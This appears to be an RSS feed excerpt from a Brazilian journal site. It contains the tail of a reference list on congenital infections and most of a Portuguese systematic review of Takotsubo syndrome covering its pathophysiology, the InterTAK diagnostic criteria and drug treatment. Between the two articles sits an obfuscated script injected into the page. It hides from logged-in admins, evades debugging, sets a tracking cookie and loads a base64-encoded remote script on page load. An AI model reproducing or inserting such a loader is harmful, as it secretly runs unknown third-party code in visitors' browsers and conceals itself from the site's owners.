<p class="wp-block-paragraph">DUNN, D. et al. Congenital toxoplasmosis: prevention, screening and outcomes. <em>The Lancet Infectious Diseases</em>, London, v. 22, n. 8, p. e240-e249, 2022.&nbsp;</p>



<p class="wp-block-paragraph">FOWLER, K. B. et al. Congenital cytomegalovirus infection: clinical outcomes and diagnostic challenges. <em>The New England Journal of Medicine</em>, Boston, v. 388, n. 4, p. 345-356, 2023.&nbsp;</p>



<p class="wp-block-paragraph">KAGAN, K. O. et al. Prenatal diagnosis and management of congenital infections. <em>Ultrasound in Obstetrics &amp; Gynecology</em>, Oxford, v. 63, n. 1, p. 5-18, 2024.&nbsp;</p>



<p class="wp-block-paragraph">MONTOYA, J. G.; REMINGTON, J. S. Toxoplasmosis of the fetus and newborn: an updated review. <em>Infectious Disease Clinics of North America</em>, Philadelphia, v. 37, n. 1, p. 1-20, 2023.&nbsp;</p>



<p class="wp-block-paragraph">REEVES, W. C. et al. Rubella and congenital rubella syndrome: global update. <em>Vaccine</em>, Amsterdam, v. 39, n. 32, p. 4501-4508, 2021.&nbsp;</p>



<p class="wp-block-paragraph">SMITH, E. R. et al. Pregnancy outcomes associated with SARS-CoV-2 infection: a systematic analysis. <em>BMJ</em>, London, v. 386, p. 1-10, 2024.</p>



<p class="wp-block-paragraph">WORLD HEALTH ORGANIZATION (WHO). <em>Global guidance on prevention of congenital infections</em>. Geneva: WHO, 2022.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SÍNDROME DE TAKOTSUBO: UMA REVISÃO SISTEMÁTICA DA LITERATURA</title>
		<link>https://revistaft.com.br/sindrome-de-takotsubo-uma-revisao-sistematica-da-literatura/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 31 Dec 2025 16:52:27 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=261698</guid>

					<description><![CDATA[TAKOTSUBO SYNDROME: A SYSTEMATIC LITERATURE REVIEW REGISTRO DOI: 10.69849/revistaft/cl10202512311353 Ricardo Dias Borges1 Resumo A síndrome de Takotsubo (STT) é uma cardiomiopatia de estresse caracterizada por disfunção sistólica reversível do ventrículo esquerdo, sem obstrução coronariana. Este estudo teve como objetivo sintetizar e atualizar as evidências científicas mais recentes sobre a eficácia das intervenções terapêuticas, a acurácia [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">TAKOTSUBO SYNDROME: A SYSTEMATIC LITERATURE REVIEW</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512311353</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Ricardo Dias Borges<sup>1</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">A síndrome de Takotsubo (STT) é uma cardiomiopatia de estresse caracterizada por disfunção sistólica reversível do ventrículo esquerdo, sem obstrução coronariana. Este estudo teve como objetivo sintetizar e atualizar as evidências científicas mais recentes sobre a eficácia das intervenções terapêuticas, a acurácia das ferramentas diagnósticas, a relevância dos fatores prognósticos e os avanços na compreensão dos mecanismos fisiopatológicos da Síndrome de Takotsubo. Trata-se de uma revisão sistemática da literatura, sem meta-análise, com busca bibliográfica na base de dados PubMed, em publicações do período de 2015 a 2025. Foram incluídos 11 estudos sobre a STT, dos quais 72,7% (n=8) apresentaram delineamento observacional e apenas 27,3% (n=3) foram ensaios clínicos randomizados. Os achados fisiopatológicos evidenciaram disfunção endotelial, tendência à maior atividade simpática em repouso (p=0,08) e recuperação paralela das funções sistólica e diastólica, apesar de persistência de disfunção autonômica cardíaca. As ferramentas diagnósticas mostraram elevada acurácia, com o Escore InterTAK alcançando AUC de até 0,971 e a razão hs-TnT/CK-MB apresentando sensibilidade de 83–86% e especificidade de 68–78%. Em relação às intervenções terapêuticas, o ácido alfa-lipóico associou-se à melhora da inervação adrenérgica, enquanto o metoprolol não demonstrou efeito significativo. Do ponto de vista prognóstico, padrões de balonamento apical típico, neoplasia maligna e alterações eletrocardiográficas, como QRS ≥120 ms, estiveram associados a maior mortalidade e complicações (p&lt;0,05). Conclui-se que a STT apresenta fisiopatologia multifatorial, com boa acurácia diagnóstica por ferramentas específicas, evidências terapêuticas ainda inconsistentes e prognóstico influenciado por fatores clínicos, eletrocardiográficos e comorbidades.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>cardiologia, cardiomiopatias, cardiomiopatia de Takotsubo.</p>



<p class="wp-block-paragraph"><strong>Abstract</strong></p>



<p class="wp-block-paragraph">Takotsubo syndrome (TTS) is a stress cardiomyopathy characterized by reversible left ventricular systolic dysfunction without coronary obstruction. This study aimed to synthesize and update the most recent scientific evidence on the effectiveness of therapeutic interventions, the accuracy of diagnostic tools, the relevance of prognostic factors, and advances in understanding the pathophysiological mechanisms of Takotsubo syndrome. This is a systematic literature review, without meta-analysis, with a bibliographic search in the PubMed database, in publications from 2015 to 2025. Eleven studies on TTS were included, of which 72.7% (n=8) had an observational design and only 27.3% (n=3) were randomized clinical trials. The pathophysiological findings revealed endothelial dysfunction, a tendency towards greater sympathetic activity at rest (p=0.08), and parallel recovery of systolic and diastolic functions, despite persistent cardiac autonomic dysfunction. Diagnostic tools showed high accuracy, with the InterTAK Score reaching an AUC of up to 0.971 and the hs-TnT/CK-MB ratio showing a sensitivity of 83–86% and a specificity of 68–78%. Regarding therapeutic interventions, alpha-lipoic acid was associated with improved adrenergic innervation, while metoprolol did not demonstrate a significant effect. From a prognostic point of view, typical apical ballooning patterns, malignancy, and electrocardiographic changes, such as QRS ≥120 ms, were associated with higher mortality and complications (p&lt;0.05). It is concluded that TTS presents a multifactorial pathophysiology, with good diagnostic accuracy using specific tools, still inconsistent therapeutic evidence, and a prognosis influenced by clinical, electrocardiographic factors and comorbidities.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> cardiology, cardiomyopathies, Takotsubo cardiomyopathy.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A síndrome de Takotsubo (STT), também conhecida como cardiomiopatia de estresse, síndrome do coração partido ou síndrome do balonamento apical, é uma síndrome de insuficiência cardíaca aguda caracterizada por disfunção sistólica do ventrículo esquerdo – VE <sup>1,2</sup>.&nbsp;</p>



<p class="wp-block-paragraph">Descoberta em 1991, quando médicos japoneses a descreveram em mulheres, e deram o nome de “takotsubo” devido ao formato do VE, que se assemelha a uma armadilha de polvo comumente usada no Japão<sup>1-3</sup>. A principal característica é a disfunção ventricular esquerda reversível, que não segue o padrão de uma artéria coronária obstruída. Apesar da recuperação em semanas ou meses, a fase aguda apresenta riscos graves, como choque cardiogênico e arritmias<sup>4</sup>.</p>



<p class="wp-block-paragraph">Popularmente é conhecida como “síndrome do coração partido”, “cardiomiopatia de estresse” ou “síndrome do balonamento apical”<sup>2</sup>. É necessário diferenciar a STT da síndrome coronariana aguda (SCA), para garantir a conduta adequada, pois a sua prevalência em pacientes com suspeitas de SCA é de 2% e 3%, valores que podem ser subestimados, pois o conhecimento sobre os seus critérios diagnósticos, na maioria das vezes, é incompleto<sup>5</sup>.&nbsp;</p>



<p class="wp-block-paragraph">O principal marcador é ser reversível, distinguindo-se de outras falhas cardíacas. A recuperação completa da função cardíaca pode levar algumas semanas, mas as alterações em exames como eletrocardiograma – ECG e os níveis de BNP (<em>Brain Natriuretic Peptide</em>), podem persistir por meses ou permanecer anormal em alguns casos<sup>3</sup>. A princípio foi considerada uma síndrome benigna com prognóstico favorável, no entanto, descobriu-se que está associada ao risco de morte, recorrência e complicações<sup>1</sup>.</p>



<p class="wp-block-paragraph">Diante disso, este estudo tem como objetivo sintetizar e atualizar as evidências científicas mais recentes sobre a eficácia das intervenções terapêuticas, a acurácia das ferramentas diagnósticas, a relevância dos fatores prognósticos e os avanços na compreensão dos mecanismos fisiopatológicos da Síndrome de Takotsubo.</p>



<p class="wp-block-paragraph"><strong>SÍNDROME DE TAKOTSUBO</strong></p>



<p class="wp-block-paragraph"><strong>SUBTIPOS CLÍNICOS</strong></p>



<p class="wp-block-paragraph">A STT pode ser classificada como primária e secundária.</p>



<p class="wp-block-paragraph"><strong>Primária</strong></p>



<p class="wp-block-paragraph">A STT primária se manifesta por sintomas cardíacos agudos, que levam o paciente a buscar atendimento de emergência. Nem sempre existe um gatilho estressante identificável (frequentemente emocionais) e as condições médicas preexistentes podem aumentar o risco, mas não são a causa primária da elevação das catecolaminas<sup>3</sup>.</p>



<p class="wp-block-paragraph"><strong>Secundária</strong></p>



<p class="wp-block-paragraph">Muitos dos casos de STT ocorrem em pacientes já internados por outras condições médicas, cirúrgica, anestésica, obstétrica ou psiquiátrica. Nesses casos, o estresse da condição original ou de seu tratamento desencadeia a ativação súbita do sistema nervoso simpático ou um aumento nos níveis de catecolaminas, caracterizando a forma secundária da síndrome. Nesse sentido, o tratamento precisa abordar as complicações cardíacas do Takotsubo e a doença de base que a causou, ou seja, qualquer condição capaz de induzir a liberação súbita e massiva de catecolaminas (hormônio do estresse), pode desencadear episódio de Takotsubo em pacientes hospitalizados<sup>3</sup>.</p>



<p class="wp-block-paragraph"><strong>EPIDEMIOLOGIA</strong></p>



<p class="wp-block-paragraph">A STT afeta predominantemente as mulheres, com 90% dos casos na pós-menopausa. No entanto, pode ocorrer em homens, crianças e recém-nascidos. O risco em mulheres com mais de 55 anos de idade é 4,8 vezes maior, se comparado aos homens, com proporção de 9:1<sup>2,5,6</sup>. A síndrome é responsável por aproximadamente 4% das admissões hospitalares com suspeita de síndrome coronária aguda<sup>2</sup>. Em mulheres o gatilho mais frequente para STT é o estresse emocional e, nos homens, o físico<sup>7</sup>.</p>



<p class="wp-block-paragraph"><strong>ETIOLOGIA</strong></p>



<p class="wp-block-paragraph">A causa exata da STT até o momento é desconhecida. A sua fisiopatologia envolve interações de respostas cardíacas, vasculares, hormonais e neurais ao estresse extremo, considerando o resultado da integração de vários sistemas fisiológicos e biológicos<sup>5</sup>.</p>



<p class="wp-block-paragraph"><strong>FISIOPATOLOGIA</strong></p>



<p class="wp-block-paragraph">A fisiopatologia exata é desconhecida, mas o mecanismo aceito é a liberação maciça de catecolaminas<strong>&nbsp;</strong>através do<strong>&nbsp;</strong>eixo hipotálamo-hipófise-suprarrenal. Esse mecanismo é dividido em duas fases. Na fase 1, ocorre a ativação neuroendócrina, em que o estresse agudo (emocional ou físico) desencadeia a ativação do eixo hipotálamo-hipófise-suprarrenal, e resulta na liberação excessiva de catecolaminas. Na fase 2, ocorre a disfunção Miocárdica Aguda, em que a maior densidade de<strong> </strong>receptores β-adrenérgicos no ápice ventricular torna esta região mais sensível à inundação de catecolaminas. Em níveis suprafisiológicos, ocorre o efeito inotrópico negativo, e causa a discinesia apical característica<sup>7</sup>.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong>. Mecanismo Fisiopatológico da Síndrome de Takotsubo.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="614" height="445" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-2.png" alt="" class="wp-image-261701" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-2.png 614w, https://revistaft.com.br/wp-content/uploads/2026/01/image-2-300x217.png 300w" sizes="(max-width: 614px) 100vw, 614px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Diaz-Navarro e Sáez<sup>7</sup></p>



<p class="wp-block-paragraph">A síndrome de Takotsubo está associada a níveis elevados de catecolaminas, superiores aos do infarto grave. Esse pico hormonal resulta da hiperativação do eixo cérebro-adrenal diante de um estresse, que pode não ser evidente. Essas evidências apontam para uma disfunção na interação cérebro-coração, envolvendo áreas límbicas (como a amígdala) e o sistema nervoso autônomo<sup>8</sup>.</p>



<p class="wp-block-paragraph"><strong>APRESENTAÇÃO CLÍNICA E DIAGNÓSTICO</strong></p>



<p class="wp-block-paragraph">A STT, geralmente, se manifesta com dor torácica anginosa, dispneia, síncope, insuficiência cardíaca aguda, instabilidade hemodinâmica por arritmias malignas, parada cardíaca<sup>1,7</sup>, e também alterações isquêmicas no ECG e elevação de troponina e BNP (<em>Brain Natriuretic Peptide</em>), frequentemente desencadeada por estresse em mulheres pós-menopáusicas. A queda nos níveis de estrogênio causa disfunção endotelial e desregulação dos receptores adrenérgicos, levando ao vasoespasmo microvascular característico da síndrome. A ocorrência de casos familiares e recorrentes de STT aponta para a influência genética. Os fatores psicológicos, como depressão e ansiedade, são frequentes nesses pacientes e exacerbam a resposta ao estresse através de desregulações na noradrenalina. Outros fatores podem se desencadear por diversos fatores emocionais, físicos, perdas, crises financeiras e infecções<sup>7</sup>.</p>



<p class="wp-block-paragraph">A síndrome é frequentemente desencadeada por fatores estressantes, sejam eles emocionais ou físicos, que estão presentes em cerca de dois terços dos casos. Os gatilhos emocionais incluem tanto os eventos negativos (luto ou crises financeiras), quanto eventos positivos de grande alegria. Já os estressores físicos abrangem desde as doenças agudas e cirurgias até distúrbios neurológicos. Porém, existem fatores desencadeantes que não são identificáveis em alguns pacientes. Pacientes com históricos de transtornos de ansiedade ou condições psiquiátricas prévias aumentam a susceptibilidade. Aqueles cuja síndrome foi precipitada por algum estresse físico, debilitados por outras doenças, correm o risco de ter um prognóstico hospitalar desfavorável<sup>5</sup>.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2</strong>. Estressores associados à síndrome de Takotsubo (STT).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="567" height="796" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-3.png" alt="" class="wp-image-261703" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-3.png 567w, https://revistaft.com.br/wp-content/uploads/2026/01/image-3-214x300.png 214w" sizes="(max-width: 567px) 100vw, 567px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Kato<sup>5 </sup>e cols.</p>



<p class="wp-block-paragraph">A Figura 2 demonstra que a STT pode ser desencadeada por diversas condições físicas, que variam de eventos neurológicos agudos, procedimentos cirúrgicos, sepse, doenças respiratórias. Já os gatilhos emocionais abrangem experiências traumáticas até eventos positivos intensos de muita alegria. Em 2016, um novo estressor foi adicionado, denominado de “síndrome do coração feliz”<sup>2</sup>, que envolve vários gatilhos emocionais positivos (como ganhar na loteria ou casamento de um filho), servem como fator desencadeante da STT.</p>



<p class="wp-block-paragraph">Essa disfunção cardíaca temporária pode ocorrer após um grande estresse neurológico e está associada a condições como hemorragia cerebral, acidente vascular cerebral &#8211; AVC, crises convulsivas e traumatismo craniano<sup>9</sup>. Ela pode surgir durante ou após a quimioterapia e está associada a riscos graves, como choque cardiogênico<sup>10</sup>. Pode também surgir em receptores de transplante hepático<sup>11</sup>.</p>



<p class="wp-block-paragraph">Para padronizar o diagnóstico da STT, especialistas do Registro Internacional InterTAK estabeleceram critérios específicos, de acordo com o Quadro 1.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong>. Critérios diagnósticos incorporados por especialistas InterTAK</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Critério</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>1. Disfunção Ventricular</strong></td><td>Anormalidades transitórias no movimento da parede do ventrículo esquerdo e/ou direito (hipocinesia, discinesia ou acinesia). Geralmente não se limita ao território de uma única artéria coronária.Existem casos raros de envolvimento focal (em uma única artéria).</td></tr><tr><td><strong>2. Gatilho Identificável</strong></td><td>Um gatilho emocional e/ou físico pode ser identificado, mas&nbsp;não é obrigatório&nbsp;para o diagnóstico.</td></tr><tr><td><strong>3. Gatilhos Específicos</strong></td><td>Distúrbios neurológicos (AVC, convulsões) ou feocromocitoma podem servir como fatores desencadeantes.</td></tr><tr><td><strong>4. Alterações no ECG</strong></td><td>Presença de novas anormalidades no eletrocardiograma (elevação/ depressão do segmento ST, inversão da onda T, prolongamento do QTc). Alterações são quase sempre presentes.</td></tr><tr><td><strong>5. Elevação de Biomarcadores</strong></td><td>Elevação dos níveis de biomarcadores cardíacos, principalmente&nbsp;troponina, creatina quinase, peptídeo natriurético cerebral (BNP).</td></tr><tr><td><strong>6. Doença Arterial Coronariana</strong></td><td>A presença de doença arterial coronariana (DAC) significativa&nbsp;não exclui&nbsp;o diagnóstico.</td></tr><tr><td><strong>7. Exclusão de Miocardite</strong></td><td>É&nbsp;obrigatória&nbsp;a ausência de evidências de miocardite infecciosa, tipicamente excluída por Ressonância Magnética Cardíaca.</td></tr><tr><td><strong>8. Perfil Epidemiológico</strong></td><td>Condição que afeta predominantemente&nbsp;mulheres pós-menopáusicas.</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Adaptada de Jensch<sup>4</sup> e cols.</p>



<p class="wp-block-paragraph">A STT é classificada como uma entidade independente, e não como um tipo de infarto. O seu diagnóstico é confirmado por exames de imagem como ecocardiografia e ressonância magnética cardíaca, que identificam o padrão característico de movimento anormal da parede do ventrículo esquerdo<sup>4</sup>.</p>



<p class="wp-block-paragraph">A classificação InterTAK considera os tipos de evento desencadeadores, sendo que cerca de dois terços dos pacientes apresentam estresse emocional (classe I); com menor frequência o estresse físico (classe II) e, um terço dos pacientes não apresentam eventos desencadeadores (classe III)<sup>4</sup>.</p>



<p class="wp-block-paragraph">O Escore de Diagnóstico InterTAK utiliza o sistema de pontuação para diferenciar a STT de outras condições (Tabela 1). De acordo com o consenso internacional, um paciente com pontuação ≤ 30 tem menos de 1% de probabilidade de ter STT, enquanto uma pontuação ≥ 70, indica mais de 90% de probabilidade para o diagnóstico<sup>7</sup>.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1</strong>. Pontuação de diagnóstico InterTak.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Critério</strong></td><td class="has-text-align-center" data-align="center"><strong>Pontos</strong></td></tr><tr><td class="has-text-align-center" data-align="center">Sexo feminino</td><td class="has-text-align-center" data-align="center">25</td></tr><tr><td class="has-text-align-center" data-align="center">Episódio de estresse emocional</td><td class="has-text-align-center" data-align="center">24</td></tr><tr><td class="has-text-align-center" data-align="center">Episódio de estresse físico</td><td class="has-text-align-center" data-align="center">13</td></tr><tr><td class="has-text-align-center" data-align="center">Ausência de infradesnivelamento do segmento ST*</td><td class="has-text-align-center" data-align="center">12</td></tr><tr><td class="has-text-align-center" data-align="center">Doença psiquiátrica</td><td class="has-text-align-center" data-align="center">11</td></tr><tr><td class="has-text-align-center" data-align="center">Doença neurológica</td><td class="has-text-align-center" data-align="center">9</td></tr><tr><td class="has-text-align-center" data-align="center">Prolongamento do intervalo QT</td><td class="has-text-align-center" data-align="center">9</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Diaz-Navarro e Sáez<sup>7</sup></p>



<p class="wp-block-paragraph">O Eletrocardiograma (ECG) na fase aguda ajuda a diferenciar a STT do Infarto Agudo do Miocárdio com supradesnivelamento do segmento ST (IAMCSST). A Figura 3 apresenta critérios no ECG, estabelecidos por Frangieh<sup>12</sup> e cols. (2016), que permitem diferenciar a STT do infarto agudo do miocárdio (IAM), independentemente de ser um IAM com ou sem supradesnivelamento do segmento ST.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3</strong>. Algoritmo para o diagnóstico diferencial entre a Síndrome de Takotsubo (STT) e o Infarto Agudo do Miocárdio (IAM).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="651" height="443" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-4.png" alt="" class="wp-image-261706" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-4.png 651w, https://revistaft.com.br/wp-content/uploads/2026/01/image-4-300x204.png 300w" sizes="(max-width: 651px) 100vw, 651px" /></figure>



<p class="wp-block-paragraph">IAMSSST: infarto agudo do miocárdio sem supradesnivelamento do segmento ST; IAMCSST: infarto agudo do miocárdio com supradesnivelamento do segmento&nbsp;ST;&nbsp;STe:&nbsp;supradesnivelamento do segmento ST;&nbsp;STd: infradesnivelamento do segmento&nbsp;ST; TTC: cardiomiopatia de Takotsubo.&nbsp;</p>



<p class="wp-block-paragraph">*100% de especificidade e 100% de valor preditivo positivo;&nbsp;†&nbsp;Mais de 2 derivações de 3 em&nbsp;II&nbsp;&#8211;&nbsp;III&nbsp;&#8211;&nbsp;aVF;&nbsp;‡&nbsp;Mais de 4 derivações de 6 em (V1-V2-V3-V4-V5-V6);&nbsp;x&nbsp;Mais de 2 derivações de 3 em (V1-V2-V3).</p>



<p class="has-text-align-center wp-block-paragraph">Fonte: Frangieh<sup>12</sup> e cols.</p>



<p class="has-text-align-left wp-block-paragraph">A Figura 4 ilustra exemplos de traçados eletrocardiográficos que representam os critérios mais específicos para o diagnóstico diferencial em cada categoria de pacientes.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 4</strong>. Exemplos de ECG.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="520" height="497" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-5.png" alt="" class="wp-image-261708" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-5.png 520w, https://revistaft.com.br/wp-content/uploads/2026/01/image-5-300x287.png 300w" sizes="(max-width: 520px) 100vw, 520px" /></figure>



<p class="wp-block-paragraph"><strong><em>1)</em>: </strong>Takotsubo com&nbsp;supradesnivelamento do segmento&nbsp;ST (STE&nbsp;&#8211;&nbsp;TTC):&nbsp;STe&nbsp;em&nbsp;-aVR&nbsp;e&nbsp;STe&nbsp;na derivação anterosseptal;&nbsp;<strong><em>2)</em>:</strong> Infarto agudo do miocárdio com supradesnivelamento&nbsp;do segmento ST&nbsp;(IAMCSST):&nbsp;STd&nbsp;em V2, V3 e V4 (entre outras);&nbsp;<strong><em>3)</em>:</strong> Takotsubo sem supradesnivelamento&nbsp;do segmento ST&nbsp;(NSTE&nbsp;&#8211;&nbsp;TTC):&nbsp;STe&nbsp;em&nbsp;-aVR&nbsp;e Tinv (qualquer derivação);&nbsp;<strong><em>4):</em></strong>&nbsp;Infarto agudo do miocárdio sem supradesnivelamento&nbsp;do segmento ST&nbsp;(IAMSSST):&nbsp;STd&nbsp;em V2, V3.</p>



<p class="has-text-align-center wp-block-paragraph">Fonte: Frangieh e cols.<sup>12</sup></p>



<p class="wp-block-paragraph">O diagnóstico da STT é realizado através de estudos laboratoriais, imagem invasiva e imagem não invasiva. Os biomarcadores de lesão miocárdica (creatina quinase, creatina quinase-MB e troponina), estão elevados na maioria dos pacientes com STT. A confirmação requer angiografia coronária, que revela artérias desobstruídas e exclui o infarto agudo. A ventriculografia ou o ecocardiograma identifica o padrão característico de balonamento apical ou suas variantes. A ressonância magnética cardíaca complementa o diagnóstico ao demonstrar edema miocárdico transmural sem realce significativo de gadolínio, diferenciando-a de outras condições<sup>5</sup>.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>TRATAMENTO</strong></p>



<p class="wp-block-paragraph">As abordagens atuais no tratamento agudo da síndrome de Takotsubo (STT) são o suporte, direcionado para prevenir as complicações imediatas. Mesmo que o prognóstico tenha sido considerado favorável, complicações graves ocorrem em aproximadamente 20% dos casos, similar à síndrome coronariana aguda. Os fatores desencadeantes físicos, comorbidades neuropsiquiátricas agudas, troponina elevada e baixa fração de ejeção inicial são preditores de desfecho desfavorável<sup>5</sup>.</p>



<p class="wp-block-paragraph">O Quadro 2 sintetiza as principais classes de fármacos recomendados, suas indicações centrais e as considerações para o seu uso seguro.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2</strong>. Medicamentos recomendados para o tratamento STT.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><strong>MEDICAMENTO</strong></th><th><strong>INDICAÇÃO PRINCIPAL</strong></th><th><strong>CONSIDERAÇÕES / CONTRAINDICAÇÕES</strong></th></tr></thead><tbody><tr><td><strong>Levosimendan</strong></td><td>Suporte inotrópico em pacientes com&nbsp;fração de ejeção (FE) &lt; 55%.</td><td>Contraindicado&nbsp;se houver&nbsp;obstrução do trato de saída do VE (LVOTO)&nbsp;com gradiente &gt; 90 mmHg.</td></tr><tr><td><strong>Betabloqueadores</strong></td><td>Controlar taquicardia e sintomas, especialmente se houver&nbsp;LVOTO dinâmico.</td><td>Usar com cautela; geralmente&nbsp;evitados na fase aguda&nbsp;se FE muito baixa ou em choque. Ideal se&nbsp;QTc &lt; 500 ms.</td></tr><tr><td><strong>Inibidores da ECA / BRAs</strong></td><td>Redução da taxa de recorrência&nbsp;a longo prazo. Melhoram o remodelamento ventricular.</td><td>Iniciar após estabilização hemodinâmica na fase de convalescença.</td></tr><tr><td><strong>Diuréticos</strong></td><td>Alívio de&nbsp;edema&nbsp;e sintomas de congestão pulmonar (insuficiência cardíaca).</td><td>Usar conforme necessidade, monitorando função renal e equilíbrio eletrolítico.</td></tr><tr><td><strong>Nitratos</strong></td><td>Alívio sintomático da&nbsp;dor torácica&nbsp;(angina).</td><td>Contraindicados na presença de LVOTO, pois podem piorar a obstrução e o gradiente.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Legenda: </strong>ECA (Inibidores da Enzima de Conversão da Angiotensina); FE: fração de ejeção;BRAs (Bloqueadores dos Receptores da Angiotensina II); LVOTO<strong>: </strong>Obstrução do Trato de Saída do Ventrículo Esquerdo<strong>&nbsp;</strong>(do inglês&nbsp;<em>Left Ventricular Outflow Tract Obstruction);</em> QTc<strong>&nbsp;</strong>é a sigla para<strong>&nbsp;</strong>Intervalo QT Corrigido<strong>&nbsp;</strong>(do inglês&nbsp;<em>QT Corrected);</em>VE: Ventrículo Esquerdo.</p>



<p class="has-text-align-center wp-block-paragraph">Fonte: Moscatelli<sup>8</sup> e cols.</p>



<p class="wp-block-paragraph">No início, o tratamento da STT é igual ao do infarto, com o uso de antitrombóticos e estatina. Após o diagnóstico, evita-se o uso de adrenalina/noradrenalina (epinefrina/norepinefrina), optando-se pelo levosimendan (0,1 <em>μg</em>&nbsp;/kg/min) para suporte inotrópico, apenas em pacientes sem obstrução da via de saída do VE (LVOTO) e com pressão estável (&gt;90 mmHg). Os betabloqueadores são usados para atenuar a tempestade de catecolaminas e são úteis em pacientes com LVOTO, pois reduzem o gradiente de obstrução. A sua administração requer o monitoramento rigoroso, devido ao risco de prolongamento do intervalo QRc (&gt;500 ms) e arritmias. Para alívio sintomático, os diuréticos controlam o edema e os nitratos melhoram o enchimento cardíaco, mas são contraindicados se houver LVOTO<sup>8</sup>.</p>



<p class="wp-block-paragraph">Os betabloqueadores, mesmo frequentemente prescritos após a STT, não demonstraram reduzir a mortalidade em um ano. No entanto, podem ser úteis para prevenir recorrências em pacientes com ansiedade ou tônus simpático elevado. Em contraste, os IECA ou BRA na fase crônica mostraram-se associados a menor recorrência e melhor sobrevida. A suplementação com estrogênio, embora teoricamente interessante, não tem evidências suficientes e traz riscos conhecidos (tromboembolismo venoso), não sendo recomendado<sup>5</sup>.</p>



<p class="wp-block-paragraph"><strong>3. MÉTODOS</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão sistemática da literatura, sem meta-análise, para sintetizar e atualizar as evidências sobre a Síndrome de Takotsubo (STT). A busca bibliográfica foi realizada na base de dados PubMed, considerando as publicações no período de 2015 a 2025. Foram utilizados os descritores em ciências da saúde &#8211; DeCS: Cardiologia; Cardiomiopatias; Cardiomiopatia de Takotsubo. Em inglês: Cardiology; Cardiomyopathies; Takotsubo Cardiomyopathy. Outras palavras-chave foram também utilizadas: Takotsubo syndrome; treatment of Takotsubo syndrome.&nbsp;</p>



